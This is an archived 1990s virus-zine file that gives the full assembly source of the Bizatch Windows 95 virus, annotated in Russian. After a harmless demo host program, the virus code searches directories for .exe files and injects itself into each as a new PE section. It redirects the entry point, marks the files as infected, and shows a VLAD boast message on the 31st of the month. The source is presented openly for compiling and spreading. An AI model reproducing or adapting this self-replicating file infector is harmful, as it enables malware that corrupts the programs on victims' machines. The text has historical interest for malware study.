▄▄                   ▄
▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
 ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ФОРТОЧКИ '95 - ОКНО В ... ?
;
; Bizatch by Quantum / VLAD
;
; Добро пожаловать в Первый в Мире вирус под Windows'95
;
; Для меня было большой честью написать этот вирус.
; Windows 95 - платформа, которая была разработана как незаражаемая,
; но Microsoft не посчитался с грозной силой vlad. Как таковой, этот
; вирус будет использоваться в качестве рекламы vlad. По 31-м числам
; каждый зараженный exe выведет на экран список членов vlad, как старой,
; так и новой школы.
;
; Ниже приведена программа-носитель, любезно позаимствованная нами у Borland.
; Этот пример выводит окно и пищит при нажатии правой кнопки мыши, а при нажатии
; левой увеличивает на экране 32-битный счетчик.
;
; Все, что необходимо для компиляции этого вируса, дано в приложении в архиве
; BIZATCH
;
;-----------------------------------------------------------------------------
; Вы можете не читать всю начальную фигню и перейти сразу к строке 350, где
; начинается вирус.
;
.386
locals
jumps
.model flat,STDCALL
include win32.inc           ; некоторые 32-битные константы и структуры

L equ <LARGE>

;
; Определим внешние функции, к которым мы будем подключаться
;
extrn            BeginPaint:PROC
extrn            CreateWindowExA:PROC
extrn            DefWindowProcA:PROC
extrn            DispatchMessageA:PROC
extrn            EndPaint:PROC
extrn            ExitProcess:PROC
extrn            FindWindowA:PROC
extrn            GetMessageA:PROC
extrn            GetModuleHandleA:PROC
extrn            GetStockObject:PROC
extrn            InvalidateRect:PROC
extrn            LoadCursorA:PROC
extrn            LoadIconA:PROC
extrn            MessageBeep:PROC
extrn            PostQuitMessage:PROC
extrn            RegisterClassA:PROC
extrn            ShowWindow:PROC
extrn            SetWindowPos:PROC
extrn            TextOutA:PROC
extrn            TranslateMessage:PROC
extrn            UpdateWindow:PROC

;
; для поддержки Unicode, Win32 интерпретирует некоторые функции для Ansi или
; Расширенного набора символов. Для примера мы взяли ANSI.
;
CreateWindowEx   equ <CreateWindowExA>
DefWindowProc    equ <DefWindowProcA>
DispatchMessage  equ <DispatchMessageA>
FindWindow       equ <FindWindowA>
GetMessage       equ <GetMessageA>
GetModuleHandle  equ <GetModuleHandleA>
LoadCursor       equ <LoadCursorA>
LoadIcon         equ <LoadIconA>
MessageBox       equ <MessageBoxA>
RegisterClass    equ <RegisterClassA>
TextOut          equ <TextOutA>

.data
copyright        db 'VLAD inc - 1995, peace through superior virus power..',0

newhwnd          dd 0
lppaint          PAINTSTRUCT <?>
msg              MSGSTRUCT   <?>
wc               WNDCLASS    <?>
mbx_count        dd 0

hInst            dd 0

szTitleName      db 'Bizatch by Quantum / VLAD activated'
zero             db 0
szAlternate      db 'more than once',0
szClassName      db 'ASMCLASS32',0
szPaint          db 'Left Button pressed:'
s_num            db '00000000h times.',0
MSG_L EQU ($-offset szPaint)-1

.code
;-----------------------------------------------------------------------------
;
; Сюда обычно передается управление от загрузчика.
;
start:

        push    L 0
        call    GetModuleHandle         ; получить hmod (in eax)
        mov     [hInst], eax            ; hInstance равно HMODULE

        push    L 0
        push    offset szClassName
        call    FindWindow
        or      eax,eax
        jz      reg_class

        mov     [zero], ' '             ; пространство для модификации
				        ; строки заголовка

reg_class:
;
; инициализируем структуру WndClass
;
        mov     [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
        mov     [wc.clsLpfnWndProc], offset WndProc
        mov     [wc.clsCbClsExtra], 0
        mov     [wc.clsCbWndExtra], 0

        mov     eax, [hInst]
        mov     [wc.clsHInstance], eax

        push    L IDI_APPLICATION
        push    L 0
        call    LoadIcon
        mov     [wc.clsHIcon], eax

        push    L IDC_ARROW
        push    L 0
        call    LoadCursor
        mov     [wc.clsHCursor], eax

        mov     [wc.clsHbrBackground], COLOR_WINDOW + 1
        mov     dword ptr [wc.clsLpszMenuName], 0
        mov     dword ptr [wc.clsLpszClassName], offset szClassName

        push    offset wc
        call    RegisterClass

        push    L 0                      ; lpParam
        push    [hInst]                  ; hInstance
        push    L 0                      ; menu
        push    L 0                      ; parent hwnd
        push    L CW_USEDEFAULT          ; height
        push    L CW_USEDEFAULT          ; width
        push    L CW_USEDEFAULT          ; y
        push    L CW_USEDEFAULT          ; x
        push    L WS_OVERLAPPEDWINDOW    ; Style
        push    offset szTitleName       ; Title string
        push    offset szClassName       ; Class name
        push    L 0                      ; extra style

        call    CreateWindowEx

        mov     [newhwnd], eax

        push    L SW_SHOWNORMAL
        push    [newhwnd]
        call    ShowWindow

        push    [newhwnd]
        call    UpdateWindow

msg_loop:
        push    L 0
        push    L 0
        push    L 0
        push    offset msg
        call    GetMessage

        cmp     ax, 0
        je      end_loop

        push    offset msg
        call    TranslateMessage

        push    offset msg
        call    DispatchMessage

        jmp     msg_loop

end_loop:
        push    [msg.msWPARAM]
        call    ExitProcess

        ; we never get to here

;-----------------------------------------------------------------------------
WndProc          proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
;
; WARNING: Win32 требует сохранения EBX, EDI, ESI !  Мы ужились с этим,
; описав эти регистры после 'uses' в строке 'proc'. Это позволит Ассемблеру
; сохранить их для нас.
;
        LOCAL   theDC:DWORD

        cmp     [wmsg], WM_DESTROY
        je      wmdestroy
        cmp     [wmsg], WM_RBUTTONDOWN
        je      wmrbuttondown
        cmp     [wmsg], WM_SIZE
        je      wmsize
        cmp     [wmsg], WM_CREATE
        je      wmcreate
        cmp     [wmsg], WM_LBUTTONDOWN
        je      wmlbuttondown
        cmp     [wmsg], WM_PAINT
        je      wmpaint
        cmp     [wmsg], WM_GETMINMAXINFO
        je      wmgetminmaxinfo


        jmp     defwndproc

wmpaint:
        push    offset lppaint
        push    [hwnd]
        call    BeginPaint
        mov     [theDC], eax

        mov     eax, [mbx_count]
        mov     edi, offset s_num
        call    HexWrite32

        push    L MSG_L           ; длина строки
        push    offset szPaint    ; строка
        push    L 5               ; y
        push    L 5               ; x
        push    [theDC]           ; the DC
        call    TextOut

        push    offset lppaint
        push    [hwnd]
        call    EndPaint

        mov     eax, 0
        jmp     finish

wmcreate:
        mov     eax, 0
        jmp     finish

defwndproc:
        push    [lparam]
        push    [wparam]
        push    [wmsg]
        push    [hwnd]
        call    DefWindowProc
        jmp     finish

wmdestroy:
        push    L 0
        call    PostQuitMessage
        mov     eax, 0
        jmp     finish

wmlbuttondown:
        inc     [mbx_count]

        push    L 0
        push    L 0
        push    [hwnd]
        call    InvalidateRect    ; перерисовать окно
        mov     eax, 0
        jmp     finish

wmrbuttondown:
        push    L 0
        call    MessageBeep
        jmp     finish

wmsize:
        mov     eax, 0
        jmp     finish

wmgetminmaxinfo:

        mov     ebx, [lparam]  ; ptr to minmaxinfo struct
        mov     [(MINMAXINFO ptr ebx).mintrackposition_x] , 350
        mov     [(MINMAXINFO ptr ebx).mintrackposition_y] , 60
        mov     eax, 0
        jmp     finish

finish:
        ret
WndProc          endp
;-----------------------------------------------------------------------------
HexWrite8 proc
;
; AL имеет 2 16-ричные цифры, которые будут записаны в ES:EDI в форме ASCII
;

        mov     ah, al
        and     al, 0fh
        shr     ah, 4
                                ; ah has MSD
                                ; al has LSD
        or      ax, 3030h
        xchg    al, ah
        cmp     ah, 39h
        ja      @@4
@@1:
        cmp     al, 39h
        ja      @@3
@@2:
        stosw
        ret
@@3:
        sub     al, 30h
        add     al, 'A' - 10
        jmp     @@2
@@4:
        sub     ah, 30h
        add     ah, 'A' - 10
        jmp     @@1
HexWrite8 endp
;-----------------------------------------------------------------------------
HexWrite16 proc
;
; AX имеет 4 16-ричные цифры, которые будут записаны в ES:EDI
;
        push    ax
        xchg    al,ah
        call    HexWrite8
        pop     ax
        call    HexWrite8
        ret
HexWrite16 endp
;-----------------------------------------------------------------------------
HexWrite32 proc
;
; EAX имеет 8 16-ричные цифры, которые будут записаны в ES:EDI
;
        push    eax
        shr     eax, 16
        call    HexWrite16
        pop     eax
        call    HexWrite16
        ret
HexWrite32 endp
;-----------------------------------------------------------------------------
public WndProc
ends
;-----------------------------------------------------------------------------
;  Здесь начинается код вируса... этот код переносится из exe в exe.. 
;  все вышеописанное - всего лишь программа-носитель

vladseg segment para public 'vlad'
assume cs:vladseg
vstart:
call recalc
recalc:
pop ebp
mov eax,ebp                            ; вычислить адрес носителя
db 2dh
subme dd 30000h + (recalc - vstart)
push eax                               ; сохранить его на потом
sub ebp,offset recalc                  ; вычислить разницу смещений

mov eax,[ebp + offset kern2]           ; найти kernel
cmp dword ptr [eax],5350fc9ch
jnz notkern2
mov eax,[ebp + offset kern2]           ; вот он
jmp movit
notkern2:
mov eax,[ebp + offset kern1]           ; или тут
cmp dword ptr [eax],5350fc9ch
jnz nopayload
mov eax,[ebp + offset kern1]
movit:
mov [ebp + offset kern],eax            ; сохранить его для дальнейшего 
				       ; использования
cld                                    ; необходимо
lea eax,[ebp + offset orgdir]
push eax
push 255
call GetCurDir                         ; запомнить текущую директорию

mov byte ptr [ebp + offset countinfect],0 ; число заражений

infectdir:

lea eax,[ebp + offset win32_data_thang]
push eax
lea eax,[ebp + offset fname]
push eax
call FindFile                             ; ищем первый exe

mov dword ptr [ebp + offset searchhandle],eax   ; сохраним handle для поиска
cmp eax,-1
jz foundnothing

gofile:

push 0
push dword ptr [ebp + offset fileattr]  ; FILE_ATTRIBUTE_NORMAL
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
lea eax,[ebp + offset fullname]
push eax
call CreateFile             ; открыть файл для чтения/записи

mov dword ptr [ebp + offset ahand],eax   ; сохранить хендл
cmp eax,-1
jz findnextone

; ставим указатель файла на dword, в котором хранится адрес pe header'а
push 0
push 0
push 3ch
push dword ptr [ebp + offset ahand]
call SetFilePointer

; считываем адрес pe header'а
push 0
lea eax,[ebp + offset bytesread]
push eax
push 4
lea eax,[ebp + offset peheaderoffset]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; перейти к pe header'у
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; считываем число байт, достаточное для вычисления полного размера заголовка pe
; и таблицы обьектов
push 0
lea eax,[ebp + offset bytesread]
push eax
push 58h
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; удостоверимся, что это pe header и он не заражен
cmp dword ptr [ebp + offset peheader],00004550h    ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
jz notape
cmp dword ptr [ebp + offset 52],4000000h
jz notape

; возвращаемся в начало pe header'а
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; считываем весь pe header и таблицу обьектов
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile

; устанавливаем признак заражения
mov word ptr [ebp + offset peheader + 4ch],0F00Dh

; находим смещени таблицы обьектов
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax

; вычисляем смещение последнего (null) обьекта в таблице обьектов
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax

inc word ptr [ebp + offset numObj]    ; увеличим число обьектов на 1

lea edi,[ebp + offset newobject]
xchg edi,esi

; вычислим Relative Virtual Address (RVA) - относительный виртуальный адрес
; нового обьекта
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset RVA],eax

; вычислить физический размер нового обьекта
mov ecx,dword ptr [ebp + offset filealign]
mov eax,vend-vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax

; вычислить виртуальный размер нового обьекта
mov ecx,dword ptr [ebp + offset objalign]
mov eax,vend - vstart + 1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax

; вычислить физическое смещение нового обьекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp + offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicaloffset],eax

; обновить размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax

; скопировать новый обьект в таблицу обьектов
mov ecx,10
rep movsd

; вычислить точку входа RVA (относительный виртуальный адрес)
mov eax,dword ptr [ebp + offset RVA]

mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax

sub eax,ebx
add eax,5

; Установить значение, необходимое для возврата в носитель
mov dword ptr [ebp + offset subme],eax

; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; записать заголовок pe и таблицу обьектов в файл
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile

; увеличить счетчик заражений
inc byte ptr [ebp + offset countinfect]

; переместиться по физическому смещению нового обьекта
push 0
push 0
push dword ptr [ebp + offset physicaloffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; записать тело вируса в новый обьект
push 0
lea eax,[ebp + offset bytesread]
push eax
push vend-vstart
lea eax,[ebp + offset vstart]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile

notape:

; закрыть файл
push dword ptr [ebp + offset ahand]
call CloseFile

findnextone:

; заразили 3 файла ?
cmp byte ptr [ebp + offset countinfect],3
jz outty

; нет.. ищем следующий
lea eax,[ebp + offset win32_data_thang]
push eax
push dword ptr [ebp + offset searchhandle]
call FindNext

; следующий ? да.. заразим его
or eax,eax
jnz gofile

foundnothing:

; нет .. сменить директории
xor eax,eax
lea edi,[ebp + offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp + offset tempdir1]
mov ecx,256/4
rep stosd

; получить текущую директорию
lea esi,[ebp + offset tempdir]
push esi
push 255
call GetCurDir

; сменить директорию на ".."
lea eax,[ebp + offset dotdot]
push eax
call SetCurDir

; получить текущую директорию
lea edi,[ebp + offset tempdir1]
push edi
push 255
call GetCurDir

; корень ?
mov ecx,256/4
rep cmpsd
jnz infectdir

outty:

; возвратиться в оригинальную текущую директорию
lea eax,[ebp + offset orgdir]
push eax
call SetCurDir

; получить текущую дату и время и кучу всякого дерьма, которое никому не нужно
lea eax,[ebp + offset systimestruct]
push eax
call GetTime

; 31-го выдаем...
cmp word ptr [ebp + offset day],31
jnz nopayload

; мессадж бокс для юзера 
push  1000h ; MB_SYSTEMMODAL
lea eax,[ebp + offset boxtitle]
push eax
lea eax,[ebp + offset boxmsg]
push eax
push 0
call MsgBox

nopayload:

; возврат в носитель
pop eax
jmp eax

kern dd 0BFF93B95h       ; значение kernel которое будет занесено сюда
kern1 dd 0BFF93B95h      ; первое известное нам значение kernel
kern2 dd 0BFF93C1Dh      ; второе известное нам значение kernel

GetCurDir:
push 0BFF77744h               ; push это число для получения текущей директории
jmp [ebp + offset kern]

SetCurDir:
push 0BFF7771Dh               ; установка текущей директории
jmp [ebp + offset kern]

GetTime:
cmp [ebp + offset kern],0BFF93B95h
jnz gettimekern2
push 0BFF9D0B6h    ; получение времени/даты, если пользуемся kernel1 
jmp [ebp + offset kern]
gettimekern2:
push 0BFF9D14eh    ; получение времени/даты, если пользуемся kernel2
jmp [ebp + offset kern]

MsgBox:
push 0BFF638D9h    ; вывод мессадж бокса
jmp [ebp + offset kern]

FindFile:
push 0BFF77893h       ; найти файл (findfirst)
jmp [ebp + offset kern]

FindNext:
push 0BFF778CBh       ; найти следующий (findnext)
jmp [ebp + offset kern]

CreateFile:
push 0BFF77817h       ; открытие/создание файла (создать хендл)
jmp [ebp + offset kern]

SetFilePointer:
push 0BFF76FA0h       ; установить указатель файла
jmp [ebp + offset kern]

ReadFile:
push 0BFF75806h       ; чтение файла
jmp [ebp + offset kern]

WriteFile:
push 0BFF7580Dh       ; запись в файл
jmp [ebp + offset kern]

CloseFile:
push 0BFF7BC72h       ; закрытие файла
jmp [ebp + offset kern]

countinfect db 0           ; счетчик заражений

win32_data_thang:            ; используется для поиска файлов
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)

boxtitle db "Bizatch by Quantum / VLAD",0
boxmsg db "The taste of fame just got tastier!",0dh
       db "VLAD Australia does it again with the world's first Win95 Virus"
       db 0dh,0dh
       db 9,"From the old school to the new..               ",0dh,0dh
       db 9,"Metabolis",0dh
       db 9,"Qark",0dh
       db 9,"Darkman",0dh
       db 9,"Quantum",0dh
       db 9,"CoKe",0

messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db " written by Quantum of VLAD",0

orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
dotdot db "..",0

systimestruct:                 ; используется для получения времени/даты
dw 0,0,0
day dw 0
dw 0,0,0,0

searchhandle dd 0            ; для поиска файлов
fname db '*.exe',0           ; маска для поиска
ahand dd 0                   ; хендл открытого файла
peheaderoffset dd 0          ; смещение peheader в файле
ObjectTableoffset dd 0       ; смещение таблицы обьектов в памяти
bytesread dd 0               ; количество байт записанных/считанных в файл

newobject:                   ; новый обьект
oname db ".vlad",0,0,0
virtualsize    dd 0
RVA            dd 0
physicalsize   dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags    db 40h,0,0,0c0h

peheader:                ; данные, необходимые для заражения файла
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
vend:
; область для чтения остатка pe header и таблицы обьектов
; не хранится в файле, но определена обьектом 
db 1000h dup (0)
ends
end vstart
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
